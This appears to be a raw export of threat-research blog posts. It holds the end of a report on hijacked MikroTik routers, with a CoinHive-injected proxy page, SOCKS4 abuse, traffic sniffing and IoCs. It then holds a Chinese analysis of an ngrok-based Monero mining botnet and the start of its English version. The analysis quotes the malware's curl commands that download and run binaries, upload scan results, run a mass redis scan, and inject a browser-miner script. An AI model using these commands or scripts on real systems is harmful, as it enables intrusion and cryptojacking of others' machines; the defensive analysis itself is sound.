http://192.168.40.147:8080 http://netlab.360.com\nHTTP/1.0 403 Forbidden\nContent-Length: 418\nContent-Type: text/html\nDate: Sat, 26 Aug 2017 03:53:43 GMT\nExpires: Sat, 26 Aug 2017 03:53:43 GMT\nServer: Mikrotik HttpProxy\nProxy-Connection: close\n\n<html>\n<head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\n <title>\"http://netlab.360.com/\"</title>\n<script src=\"https://coinhive.com/lib/coinhive.min.js\"></script>\n<script>\n var miner = new CoinHive.Anonymous('hsFAjjijTyibpVjCmfJzlfWH3hFqWVT3', {throttle: 0.2});\n miner.start();\n</script>\n</head>\n<frameset>\n<frame src=\"http://netlab.360.com/\"></frame>\n</frameset>\n</html>\n```\n\n\n######Sock4 Proxy and the Mysterious 95.154.216.128/25\nAt present, a total of 239K IPs are confirmed to have Socks4 proxy enabled maliciously. The Socks4 port is mostly TCP/4153, and very interestingly, the Socks4 proxy config only allows access from one single net-block 95.154.216.128/25. In order for the attacker to gain control even after device reboot(ip change), the device is configured to run a scheduled task to periodically report its latest IP address by accessing a specific attacker's URL.\n\nThe attacker also continues to scan more MikroTik RouterOS devices by using these compromised Socks4 proxy.\n\nAt this point, all the 239K IPs only allow access from 95.154.216.128/25, actually mainly 95.154.216.167. It is hard to say what the attacker is up to with these many Sock4 proxies but we think this is something significant.\n\n \n\n######Eavesdropping\nThe MikroTik RouterOS device allows users to capture packets on the router and forward the captured network traffic to the specified Stream server.[[7\\]](https://wiki.mikrotik.com/wiki/Manual:Tools/Packet_Sniffer)\n\nAt present, a total of 7.5k MikroTik RouterOS device IPs have been compromised by the attacker and their TZSP traffic is being forwarded to some collecting IP addresses.\n\n37.1.207.114 is the top player among all the attackers. A significant number of devices have their traffic going to this destination.\n \n \n\nAttackers mainly interested in port 20, 21, 25, 110, and 143, corresponding to FTP-data, FTP, SMTP, POP3, and IMAP traffic. We also noticed the snmp port 161 and 162 are also top on the list. This deserve some questions, why the attacker is paying attention to the network management protocol regular users barely use? Are they trying to monitor and capture some special users’ network snmp community strings? We don’t have an answer at this point, but we would be very interested to know what the answer might be.\n\nThe following is a list of Top attackers\n```\n5164 37.1.207.114\n1347 185.69.155.23\n1155 188.127.251.61\n 420 5.9.183.69\n 123 77.222.54.45\n 123 103.193.137.211\n 79 24.255.37.1\n 26 45.76.88.43\n 16 206.255.37.1\n```\n \n\nThe following is a list of port being eavesdropped\n\n```bash\n5837 21\n5832 143\n5784 110\n4165 20\n2850 25\n1328 23\n1118 1500\n1095 8083\n 993 3333\n 984 50001\n 982 8545\n 677 161\n 673 162\n 355 3306\n 282 80\n 243 8080\n 237 8081\n 230 8082\n 168 53\n 167 2048 \n```\n\nVictims breakdown, Russia is the most affected. We are not comfortable to share the IPs to the public, but relevant security entities in affected countries are welcomed to contact us for full IP list they represent.\n\n```bash\n1628 Russia/RU\n 637 Iran/IR\n 615 Brazil/BR\n 594 India/IN\n 544 Ukraine/UA\n 375 Bangladesh/BD\n 364 Indonesia/ID\n 218 Ecuador/EC\n 191 United States/US\n 189 Argentina/AR\n 122 Colombia/CO\n 113 Poland/PL\n 106 Kenya/KE\n 100 Iraq/IQ\n 92 Austria/AT\n 92 Asia-Pacific Region/\n 85 Bulgaria/BG\n 84 Spain/ES\n 69 Italy/IT\n 63 South Africa/ZA\n 62 Czech/CZ\n 59 Serbia/RS\n 56 Germany/DE\n 52 Albania/AL\n 50 Nigeria/NG\n 47 China/CN\n 39 Netherlands/NL\n 38 Turkey/TR\n 37 Cambodia/KH\n 32 Pakistan/PK\n 30 United Kingdom/GB\n 29 European Union\n 26 Latin America\n 25 Chile/CL\n 24 Mexico/MX\n 22 Hungary/HU\n 20 Nicaragua/NI\n 19 Romania/RO\n 18 Thailand/TH\n 16 Paraguay/PY\n```\n\n####Suggestions\nWe recommend that MikroTik RouterOS users update the software system in a timely manner, and check whether the http proxy, Socks4 proxy and network traffic capture function are being maliciously exploited by attackers.\n\nWe recommend that MikroTik denies inbound access to the Webfig and Winbox ports from the Internet and improve the software security update mechanism.\n\nRelevant security agency are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.\n\n#### Contact Us\n\nReaders can feel free to contact us on our [**twitter**](https://twitter.com/360Netlab) or WeChat **360Netlab** .\n\n#### IoC\n\nAttacker and collector IPs\n```\n37.1.207.114 AS50673 Serverius Holding B.V.\n185.69.155.23 AS200000 Hosting Ukraine LTD\n188.127.251.61 AS56694 Telecommunication Systems, LLC\n5.9.183.69 AS24940 Hetzner Online GmbH\n77.222.54.45 AS44112 SpaceWeb Ltd\n[removed] 103.193.137.211 AS64073 Vetta Online Ltd \n24.255.37.1 AS22773 Cox Communications Inc.\n45.76.88.43 AS20473 Choopa, LLC\n206.255.37.1 AS53508 Cablelynx\n95.154.216.167 AS20860 iomart Cloud Services Limited.\n```\n\nUsed to be but no longer a threat\n```\n103.193.137.211 AS64073 Vetta Online Ltd (With the generous help from the AS64073 , 103.193.137.211 has been promptly suspended and is no longer a threat.)\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

139

post

2018-09-07T11:09:00.000Z

63873b9a8b1c1e0007f52f34

miner-delivery-sample-via-ngrok-tunnel

2018-10-06T09:05:12.000Z

public

published

2018-09-11T13:52:00.000Z

利用ngrok传播样本挖矿

<!--kg-card-begin: markdown--><h1 id="">概述</h1> <p>&quot;链治百病，药不能停&quot;。时下各种挖矿软件如雨后春笋层出不穷，想把他们都灭了，那是不可能的，这辈子都不可能的。通常我们都忽略他们。但这个利用ngrok生成大量随机域名作为Downloader和Report域名，对抗安全设施阻断其域名，隐藏真实服务器地址的挖矿恶意样本成功的引起了我们的注意。</p> <p>该恶意样本的主要特点是:</p> <ul> <li> <p>使用ngrok定期更换的随机域名作为Downloader和Report域名。</p> </li> <li> <p>利用redis，docker，jenkins，drupal，modx，CouchDB漏洞植入xmr挖矿程序挖矿。</p> </li> <li> <p>企图扫描以太坊客户端，盗取以太币，当前未实际启用。</p> </li> <li> <p>企图感染目标设备上的js文件，植入CoinHive挖矿脚本浏览器挖矿。</p> </li> <li> <p>动态生成挖矿脚本和扫描脚本。</p> </li> <li> <p>该挖矿样本主要模块由Scanner脚本，Miner脚本，Loader构成。Scanner模块负责扫描和上报漏洞信息给Loader。Loader负责给存在漏洞的设备植入Scanner和Miner。Miner负责挖矿。</p> </li> </ul> <h1 id="ngrok">Ngrok</h1> <p><a href="https://ngrok.com/">ngrok</a>是一个反向代理，其核心概念是作为一个转发服务器，将公网请求转发到内网指定的端口上，让内网资源得以在公网上访问。其工作原理如下图:<br> <img src="__GHOST_URL__/content/images/2018/09/Snip20180907_12.png" alt="" loading="lazy"></p> <center>*图1：[ngrok工作原理](https://github.com/inconshreveable/ngrok)*</center> <p>ngrok使用方式：先去ngrok.io注册一个服务，然后在本地启动ngrok client，把流量转到内网端口，ngrok client端会获得服务端随机分配的ngrok子域名，通过这些子域名就可以从外网访问内网资源了。免费模式下ngrok client可以有一个进程，一个进程可以有4个tunnel，每个tunnel会获得一个子域名，并且每次重启client重新获得每个tunnel对应的子域名。</p> <h1 id="">域名存活周期</h1> <p>为了方便直观展示其所用域名的存活周期，我们绘制了该挖矿样本最近48小时所使用的各个域名我们能成功从该域名上下回来样本的次数的Heatmap。从图上可以看出该样本周期性更换其使用的域名，所使用的域名存活时间不超过12小时。实际上从我们的数据看该挖矿样本最早出现在6月下旬，域名切换规律一直如此。</p> <p><img src="__GHOST_URL__/content/images/2018/09/Snip20180911_5-1.png" alt="" loading="lazy"></p> <center>*图2：域名存活周期*</center> <h1 id="scanner">Scanner</h1> <p>由Loader植入，植入时生成待扫描IP范围，Report以及Downloader域名硬编码在Scanner脚本中。具体执行流程：</p> <ul> <li>下载扫描过程使用工具zmap，zgrab，jq</li> </ul> <pre><code>curl -m 120 -fks -o /usr/bin/zmap &quot;hxxp://3a3c559e.ngrok.io/d8/zmap&quot; curl -m 120 -fks -o /usr/bin/jq &quot;hxxp://53349e8c.ngrok.io/d8/jq&quot; curl -m 120 -fks -o /usr/bin/zgrab &quot;hxxp://e5a22d36.ngrok.io/d8/zgrab&quot; </code></pre> <ul> <li>下载以太坊客户端geth扫描payload</li> </ul> <pre><code>#curl -m 120 -fks -o /tmp/.p8545 &quot;hxxp://cc8ef76b.ngrok.io/d8/p8545&quot; POST / HTTP/1.1 Host: %s:8545 User-Agent: geth Accept: */* Content-Type: application/json Content-Length: 60 {&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;eth_accounts&quot;,&quot;params&quot;:[],&quot;id&quot;:1} </code></pre> <ul> <li>漏洞扫描，使用zmap扫描端口开放，然后用zgrab做应用层扫描，当前该恶意样本扫描6379/2375/80/8080/5984端口，查找 redis，docker，jenkins，drupal，modx，couchdb服务</li> </ul> <pre><code> #例如，扫描redis端口 PORT=&quot;6379&quot; echo -ne &quot;info\r\nquit\r\n&quot; &gt;/tmp/rinfoa379f8ca echo &quot;;;${PORT}&quot; &gt; $OUT /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2&gt;&gt;${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2&gt;/dev/null | grep 'redis_version' | jq -r .ip &gt;&gt; ${OUT} </code></pre> <ul> <li>上传扫描结果</li> </ul> <pre><code>curl -m 120 -sk -F result=@${_FILE} &quot;hxxp://cc8ef76b.ngrok.io/z?r={RIP}&amp;i={i}&amp;x=${excode}&quot; </code></pre> <ul> <li>删除痕迹退出</li> </ul> <h1 id="miner">Miner</h1> <p>Loader植入阶段生成Report，Downloader域名硬编码在Miner脚本中：</p> <pre><code>export HOST=&quot;hxxp://608f5b6c.ngrok.io&quot; </code></pre> <p>执行流程：</p> <ul> <li>下载运行fc，是个全局标记，用来区分感染状态的，如果样本成功运行，说明感染成功。如果运行失败，记录错误信息，用来上报给Report。</li> </ul> <pre><code>curl -fks -o $INSTALL/93b689 &quot;$HOST/d8/fc&quot; $INSTALL/93b689 '///' &gt;&gt;201e3a252c5e 2&gt;&amp;1 &amp; $INSTALL/93b689 '[^$I$^]' &gt;&gt;201e3a252c5e 2&gt;&amp;1 &amp; </code></pre> <ul> <li>杀死竞争对手</li> <li>生成旧版本的自己的Report信息，包括进程名称，矿机MD5，矿机文件路径。用来上报给Report。</li> <li>杀死旧版本的自己</li> <li>下载daemon(进程管理工具)，nginx(矿机)运行。</li> </ul> <pre><code>curl -fks -o &quot;${RIP}d&quot; &quot;$HOST/d8/daemon&quot; curl -fks -o dda4512010 &quot;$HOST/d8/nginx&quot; cat dda4512010 |&quot;${RIP}d&quot; </code></pre> <ul> <li>查找/etc/hosts中是否有其他矿工域名，如果有，将&quot;127.0.0.1 localhost&quot;写入/etc/hosts，用来清空其他矿工快速域名解析记录</li> <li>清除非自己的crontab任务</li> <li>在当前目录下的js脚本中插入CoinHive挖矿脚本, 感染肉鸡上的js文件。或许这是个bug，因为当前目录是其工作目录，下并没有js文件。</li> </ul> <pre><code>var js=document.createElement(&quot;script&quot;); js.type=&quot;text/javascript&quot;; js.src=&quot;hxxps://coinhive.com/lib/coinhive.min.js&quot;, document.body.appendChild(js), window.msci=setInterval( function(){ var e=&quot;CoinHive&quot;; if(window[e]){ clearInterval(window.msci); var n=window[e].Anonymous; window.__m1||(window.__m1=new n(&quot;U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW&quot;))&amp;&amp;__m1.start() } }, 200 ); </code></pre> <ul> <li>上报矿机运行信息</li> <li>矿机运行成功，报告矿机进程ID，感染设备IP ID，CPU数量，感染设备所用漏洞，当前用户名。</li> <li>矿机运行失败，报告错误信息, 包括感染结果，旧版本矿机运行信息（进程名称，矿机MD5，运行文件路径）, crontab错误信息等</li> </ul> <h1 id="">挖矿配置如下：</h1> <pre><code>矿池地址: pool.minexmr.com:55555 钱包地址: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW </code></pre> <p>当前TotalPaid为：69.676550440000 XMR</p> <h1 id="ioc">IoC</h1> <h2 id="md5">MD5</h2> <pre><code>md5=19e8679be6cfc56a529cf35df2dbece8 uri=hxxp://608f5b6c.ngrok.io/d8/daemon md5=e309354fe7047a5fca3c774a427ae7a2 uri=hxxp://608f5b6c.ngrok.io/d8/fc md5=39fcbe99c2d72006667be9bcc286db4e uri=hxxp://608f5b6c.ngrok.io/d8/nginx md5=510802ce144bb729c3c527d465321168 uri=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&amp;r={RIP}&amp;curl=1 md5=072922760ec200ccce83ac5ce20c46ca uri=hxxp://69c0c72e.ngrok.io/z?r={RIP}&amp;i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733 </code></pre> <h2 id="loaderip">曾经使用过的Loader IP</h2> <pre><code>194.99.105.76 ASAS9009 M247_Ltd 185.183.104.139 AS9009 M247_Ltd 185.242.6.4 AS9009 M247_Ltd 46.166.142.220 AS43350 NForce_Entertainment_B.V. 217.23.3.91 AS49981 WorldStream_B.V. 89.39.107.195 AS49981 WorldStream_B.V. 185.159.157.19 AS59898 AllSafe_Sarl 194.99.105.75 ASAS9009 M247_Ltd 109.201.133.24 AS43350 NForce_Entertainment_B.V. 217.23.3.92 AS49981 WorldStream_B.V. 46.166.142.215 AS43350 NForce_Entertainment_B.V. 89.39.107.192 AS49981 WorldStream_B.V. 109.201.133.22 AS43350 NForce_Entertainment_B.V. 89.39.107.202 AS49981 WorldStream_B.V. 89.39.107.199 AS49981 WorldStream_B.V. 109.201.133.26 AS43350 NForce_Entertainment_B.V. </code></pre> <!--kg-card-end: markdown-->

概述 "链治百病，药不能停"。时下各种挖矿软件如雨后春笋层出不穷，想把他们都灭了，那是不可能的，这辈子都不可能的。通常我们都忽略他们。但这个利用ngrok生成大量随机域名作为Downloader和Report域名，对抗安全设施阻断其域名，隐藏真实服务器地址的挖矿恶意样本成功的引起了我们的注意。 该恶意样本的主要特点是: * 使用ngrok定期更换的随机域名作为Downloader和Report域名。 * 利用redis，docker，jenkins，drupal，modx，CouchDB漏洞植入xmr挖矿程序挖矿。 * 企图扫描以太坊客户端，盗取以太币，当前未实际启用。 * 企图感染目标设备上的js文件，植入CoinHive挖矿脚本浏览器挖矿。 * 动态生成挖矿脚本和扫描脚本。 * 该挖矿样本主要模块由Scanner脚本，Miner脚本，Loader构成。Scanner模块负责扫描和上报漏洞信息给Loader。Loader负责给存在漏洞的设备植入Scanner和Miner。Miner负责挖矿。 Ngrok ngrok是一个反向代理，其核心概念是作为一个转发服务器，将公网请求转发到内网指定的端口上，让内网资源得以在公网上访问。其工作原理如下图: *图1：[ngrok工作原理](https://github.com/inconshreveable/ngrok)* ngrok使用方式：先去ngrok.io注册一个服务，然后在本地启动ngrok client，把流量转到内网端口，ngrok client端会获得服务端随机分配的ngrok子域名，通过这些子域名就可以从外网访问内网资源了。免费模式下ngrok client可以有一个进程，一个进程可以有4个tunnel，每个tunnel会获得一个子域名，并且每次重启client重新获得每个tunnel对应的子域名。 域名存活周期 为了方便直观展示其所用域名的存活周期，我们绘制了该挖矿样本最近48小时所使用的各个域名我们能成功从该域名上下回来样本的次数的Heatmap。从图上可以看出该样本周期性更换其使用的域名，所使用的域名存活时间不超过12小时。实际上从我们的数据看该挖矿样本最早出现在6月下旬，域名切换规律一直如此。 *图2：域名存活周期* Scanner 由Loader植入，植入时生成待扫描IP范围，Report以及Downloader域名硬编码在Scanner脚本中。具体执行流程： * 下载扫描过程使用工具zmap，zgrab，jq curl -m 120 -fks -o /usr/bin/zmap "hxxp://3a3c559e.ngrok.io/d8/zmap" curl -m 120 -fks -o /usr/bin/jq "hxxp://53349e8c.ngrok.io/d8/jq" curl -m 120 -fks -o /usr/bin/zgrab "hxxp://e5a22d36.ngrok.io/d8/zgrab" * 下载以太坊客户端geth扫描payload #curl -m 120 -fks -o /tmp/.p8545 "hxxp://cc8ef76b.ngrok.io/d8/p8545" POST / HTTP/1.1 Host: %s:8545 User-Agent: geth Accept: */* Content-Type: application/json Content-Length: 60 {"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1} * 漏洞扫描，使用zmap扫描端口开放，然后用zgrab做应用层扫描，当前该恶意样本扫描6379/2375/80/8080/5984端口，查找 redis，docker，jenkins，drupal，modx，couchdb服务 #例如，扫描redis端口 PORT="6379" echo -ne "info\r\nquit\r\n" >/tmp/rinfoa379f8ca echo ";;${PORT}" > $OUT /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2>>${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2>/dev/null | grep 'redis_version' | jq -r .ip >> ${OUT} * 上传扫描结果 curl -m 120 -sk -F result=@${_FILE} "hxxp://cc8ef76b.ngrok.io/z?r={RIP}&i={i}&x=${excode}" * 删除痕迹退出 Miner Loader植入阶段生成Report，Downloader域名硬编码在Miner脚本中： export HOST="hxxp://608f5b6c.ngrok.io" 执行流程： * 下载运行fc，是个全局标记，用来区分感染状态的，如果样本成功运行，说明感染成功。如果运行失败，记录错误信息，用来上报给Report。 curl -fks -o $INSTALL/93b689 "$HOST/d8/fc" $INSTALL/93b689 '///' >>201e3a252c5e 2>&1 & $INSTALL/93b689 '[^$I$^]' >>201e3a252c5e 2>&1 & * 杀死竞争对手 * 生成旧版本的自己的Report信息，包括进程名称，矿机MD5，矿机文件路径。用来上报给Report。 * 杀死旧版本的自己 * 下载daemon(进程管理工具)，nginx(矿机)运行。 curl -fks -o "${RIP}d" "$HOST/d8/daemon" curl -fks -o dda4512010 "$HOST/d8/nginx" cat dda4512010 |"${RIP}d" * 查找/etc/hosts中是否有其他矿工域名，如果有，将"127.0.0.1 localhost"写入/etc/hosts，用来清空其他矿工快速域名解析记录 * 清除非自己的crontab任务 * 在当前目录下的js脚本中插入CoinHive挖矿脚本, 感染肉鸡上的js文件。或许这是个bug，因为当前目录是其工作目录，下并没有js文件。 var js=document.createElement("script"); js.type="text/javascript"; js.src="hxxps://coinhive.com/lib/coinhive.min.js", document.body.appendChild(js), window.msci=setInterval( function(){ var e="CoinHive"; if(window[e]){ clearInterval(window.msci); var n=window[e].Anonymous; window.__m1||(window.__m1=new n("U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW"))&&__m1.start() } }, 200 ); * 上报矿机运行信息 * 矿机运行成功，报告矿机进程ID，感染设备IP ID，CPU数量，感染设备所用漏洞，当前用户名。 * 矿机运行失败，报告错误信息, 包括感染结果，旧版本矿机运行信息（进程名称，矿机MD5，运行文件路径）, crontab错误信息等 挖矿配置如下： 矿池地址: pool.minexmr.com:55555 钱包地址: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW 当前TotalPaid为：69.676550440000 XMR IoC MD5 md5=19e8679be6cfc56a529cf35df2dbece8 uri=hxxp://608f5b6c.ngrok.io/d8/daemon md5=e309354fe7047a5fca3c774a427ae7a2 uri=hxxp://608f5b6c.ngrok.io/d8/fc md5=39fcbe99c2d72006667be9bcc286db4e uri=hxxp://608f5b6c.ngrok.io/d8/nginx md5=510802ce144bb729c3c527d465321168 uri=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&r={RIP}&curl=1 md5=072922760ec200ccce83ac5ce20c46ca uri=hxxp://69c0c72e.ngrok.io/z?r={RIP}&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733 曾经使用过的Loader IP 194.99.105.76 ASAS9009 M247_Ltd 185.183.104.139 AS9009 M247_Ltd 185.242.6.4 AS9009 M247_Ltd 46.166.142.220 AS43350 NForce_Entertainment_B.V. 217.23.3.91 AS49981 WorldStream_B.V. 89.39.107.195 AS49981 WorldStream_B.V. 185.159.157.19 AS59898 AllSafe_Sarl 194.99.105.75 ASAS9009 M247_Ltd 109.201.133.24 AS43350 NForce_Entertainment_B.V. 217.23.3.92 AS49981 WorldStream_B.V. 46.166.142.215 AS43350 NForce_Entertainment_B.V. 89.39.107.192 AS49981 WorldStream_B.V. 109.201.133.22 AS43350 NForce_Entertainment_B.V. 89.39.107.202 AS49981 WorldStream_B.V. 89.39.107.199 AS49981 WorldStream_B.V. 109.201.133.26 AS43350 NForce_Entertainment_B.V.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#概述\n \"链治百病，药不能停\"。时下各种挖矿软件如雨后春笋层出不穷，想把他们都灭了，那是不可能的，这辈子都不可能的。通常我们都忽略他们。但这个利用ngrok生成大量随机域名作为Downloader和Report域名，对抗安全设施阻断其域名，隐藏真实服务器地址的挖矿恶意样本成功的引起了我们的注意。\n\n该恶意样本的主要特点是:\n\n- 使用ngrok定期更换的随机域名作为Downloader和Report域名。\n\n- 利用redis，docker，jenkins，drupal，modx，CouchDB漏洞植入xmr挖矿程序挖矿。\n- 企图扫描以太坊客户端，盗取以太币，当前未实际启用。\n- 企图感染目标设备上的js文件，植入CoinHive挖矿脚本浏览器挖矿。\n- 动态生成挖矿脚本和扫描脚本。\n- 该挖矿样本主要模块由Scanner脚本，Miner脚本，Loader构成。Scanner模块负责扫描和上报漏洞信息给Loader。Loader负责给存在漏洞的设备植入Scanner和Miner。Miner负责挖矿。\n\n#Ngrok\n[ngrok](https://ngrok.com/)是一个反向代理，其核心概念是作为一个转发服务器，将公网请求转发到内网指定的端口上，让内网资源得以在公网上访问。其工作原理如下图:\n\n<center>*图1：[ngrok工作原理](https://github.com/inconshreveable/ngrok)*</center>\n\nngrok使用方式：先去ngrok.io注册一个服务，然后在本地启动ngrok client，把流量转到内网端口，ngrok client端会获得服务端随机分配的ngrok子域名，通过这些子域名就可以从外网访问内网资源了。免费模式下ngrok client可以有一个进程，一个进程可以有4个tunnel，每个tunnel会获得一个子域名，并且每次重启client重新获得每个tunnel对应的子域名。\n\n#域名存活周期\n为了方便直观展示其所用域名的存活周期，我们绘制了该挖矿样本最近48小时所使用的各个域名我们能成功从该域名上下回来样本的次数的Heatmap。从图上可以看出该样本周期性更换其使用的域名，所使用的域名存活时间不超过12小时。实际上从我们的数据看该挖矿样本最早出现在6月下旬，域名切换规律一直如此。\n\n\n<center>*图2：域名存活周期*</center>\n\n#Scanner\n由Loader植入，植入时生成待扫描IP范围，Report以及Downloader域名硬编码在Scanner脚本中。具体执行流程：\n\n- 下载扫描过程使用工具zmap，zgrab，jq\n```\ncurl -m 120 -fks -o /usr/bin/zmap \"hxxp://3a3c559e.ngrok.io/d8/zmap\"\ncurl -m 120 -fks -o /usr/bin/jq \"hxxp://53349e8c.ngrok.io/d8/jq\"\ncurl -m 120 -fks -o /usr/bin/zgrab \"hxxp://e5a22d36.ngrok.io/d8/zgrab\"\n```\n- 下载以太坊客户端geth扫描payload\n```\n#curl -m 120 -fks -o /tmp/.p8545 \"hxxp://cc8ef76b.ngrok.io/d8/p8545\"\nPOST / HTTP/1.1\nHost: %s:8545\nUser-Agent: geth\nAccept: */*\nContent-Type: application/json\nContent-Length: 60\n\n{\"jsonrpc\":\"2.0\",\"method\":\"eth_accounts\",\"params\":[],\"id\":1}\n```\n- 漏洞扫描，使用zmap扫描端口开放，然后用zgrab做应用层扫描，当前该恶意样本扫描6379/2375/80/8080/5984端口，查找 redis，docker，jenkins，drupal，modx，couchdb服务\n```\n #例如，扫描redis端口\n PORT=\"6379\"\n echo -ne \"info\\r\\nquit\\r\\n\" >/tmp/rinfoa379f8ca\n echo \";;${PORT}\" > $OUT\n /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2>>${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2>/dev/null | grep 'redis_version' | jq -r .ip >> ${OUT}\n```\n- 上传扫描结果\n```\ncurl -m 120 -sk -F result=@${_FILE} \"hxxp://cc8ef76b.ngrok.io/z?r={RIP}&i={i}&x=${excode}\"\n```\n- 删除痕迹退出\n\n#Miner\nLoader植入阶段生成Report，Downloader域名硬编码在Miner脚本中：\n```\nexport HOST=\"hxxp://608f5b6c.ngrok.io\"\n```\n执行流程：\n\n- 下载运行fc，是个全局标记，用来区分感染状态的，如果样本成功运行，说明感染成功。如果运行失败，记录错误信息，用来上报给Report。\n```\ncurl -fks -o $INSTALL/93b689 \"$HOST/d8/fc\"\n$INSTALL/93b689 '///' >>201e3a252c5e 2>&1 &\n$INSTALL/93b689 '[^$I$^]' >>201e3a252c5e 2>&1 &\n```\n- 杀死竞争对手\n- 生成旧版本的自己的Report信息，包括进程名称，矿机MD5，矿机文件路径。用来上报给Report。\n- 杀死旧版本的自己\n- 下载daemon(进程管理工具)，nginx(矿机)运行。\n```\ncurl -fks -o \"${RIP}d\" \"$HOST/d8/daemon\"\ncurl -fks -o dda4512010 \"$HOST/d8/nginx\"\ncat dda4512010 |\"${RIP}d\"\n```\n\n- 查找/etc/hosts中是否有其他矿工域名，如果有，将\"127.0.0.1 localhost\"写入/etc/hosts，用来清空其他矿工快速域名解析记录\n- 清除非自己的crontab任务\n- 在当前目录下的js脚本中插入CoinHive挖矿脚本, 感染肉鸡上的js文件。或许这是个bug，因为当前目录是其工作目录，下并没有js文件。\n```\nvar js=document.createElement(\"script\");\njs.type=\"text/javascript\";\njs.src=\"hxxps://coinhive.com/lib/coinhive.min.js\",\ndocument.body.appendChild(js),\nwindow.msci=setInterval(\n\tfunction(){\n\t\tvar e=\"CoinHive\";\n\t\tif(window[e]){\n\t\t\tclearInterval(window.msci);\n\t\t\tvar n=window[e].Anonymous;\n\t\t\twindow.__m1||(window.__m1=new n(\"U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW\"))&&__m1.start()\n\t\t}\n\t},\n\t200\n);\n```\n- 上报矿机运行信息\n - 矿机运行成功，报告矿机进程ID，感染设备IP ID，CPU数量，感染设备所用漏洞，当前用户名。\n - 矿机运行失败，报告错误信息, 包括感染结果，旧版本矿机运行信息（进程名称，矿机MD5，运行文件路径）, crontab错误信息等\n\n# 挖矿配置如下：\n```\n矿池地址: pool.minexmr.com:55555\n钱包地址: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW \n```\n当前TotalPaid为：69.676550440000 XMR\n\n# IoC\n## MD5\n```\nmd5=19e8679be6cfc56a529cf35df2dbece8\turi=hxxp://608f5b6c.ngrok.io/d8/daemon\nmd5=e309354fe7047a5fca3c774a427ae7a2\turi=hxxp://608f5b6c.ngrok.io/d8/fc\nmd5=39fcbe99c2d72006667be9bcc286db4e\turi=hxxp://608f5b6c.ngrok.io/d8/nginx\nmd5=510802ce144bb729c3c527d465321168\turi=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&r={RIP}&curl=1\nmd5=072922760ec200ccce83ac5ce20c46ca\turi=hxxp://69c0c72e.ngrok.io/z?r={RIP}&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733\n```\n\n## 曾经使用过的Loader IP\n```\n194.99.105.76\tASAS9009\tM247_Ltd\n185.183.104.139\tAS9009\tM247_Ltd\n185.242.6.4\tAS9009\tM247_Ltd\n46.166.142.220\tAS43350\tNForce_Entertainment_B.V.\n217.23.3.91\tAS49981\tWorldStream_B.V.\n89.39.107.195\tAS49981\tWorldStream_B.V.\n185.159.157.19\tAS59898\tAllSafe_Sarl\n194.99.105.75\tASAS9009\tM247_Ltd\n109.201.133.24\tAS43350\tNForce_Entertainment_B.V.\n217.23.3.92\tAS49981\tWorldStream_B.V.\n46.166.142.215\tAS43350\tNForce_Entertainment_B.V.\n89.39.107.192\tAS49981\tWorldStream_B.V.\n109.201.133.22\tAS43350\tNForce_Entertainment_B.V.\n89.39.107.202\tAS49981\tWorldStream_B.V.\n89.39.107.199\tAS49981\tWorldStream_B.V.\n109.201.133.26\tAS43350\tNForce_Entertainment_B.V.\n```\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

144

post

2018-09-12T03:55:50.000Z

63873b9a8b1c1e0007f52f35

a-new-mining-botnet-blends-its-c2s-into-ngrok-service

2018-10-06T09:13:42.000Z

public

published

2018-09-12T15:06:10.000Z

A New Mining Botnet Blends Its C2s into ngrok Service

<!--kg-card-begin: markdown--><h1 id="overview">Overview</h1> <p>These days, it feels like new mining malwares are popping up almost daily and we have pretty much stopped blogging the regular ones so we don’t flood our readers’ feed.</p> <p>With that being said, one did have our attention recently. This botnet hides its C2s(Downloader and Reporter server) by using the ngrok reverse proxy service to periodically generate large number of random subdomain names. Botnet master does not have control over what the subdomains will be, as the subdomains ({subdomain}.ngrok.io) are generated randomly by ngrok service, which in this case is actually a bless for the botnet. Because there is no good way for the security defender to tell which ones are good and which ones are bad by just looking at the dns names. All have same pattern and all are mixed in the big naming pool.</p> <p>The 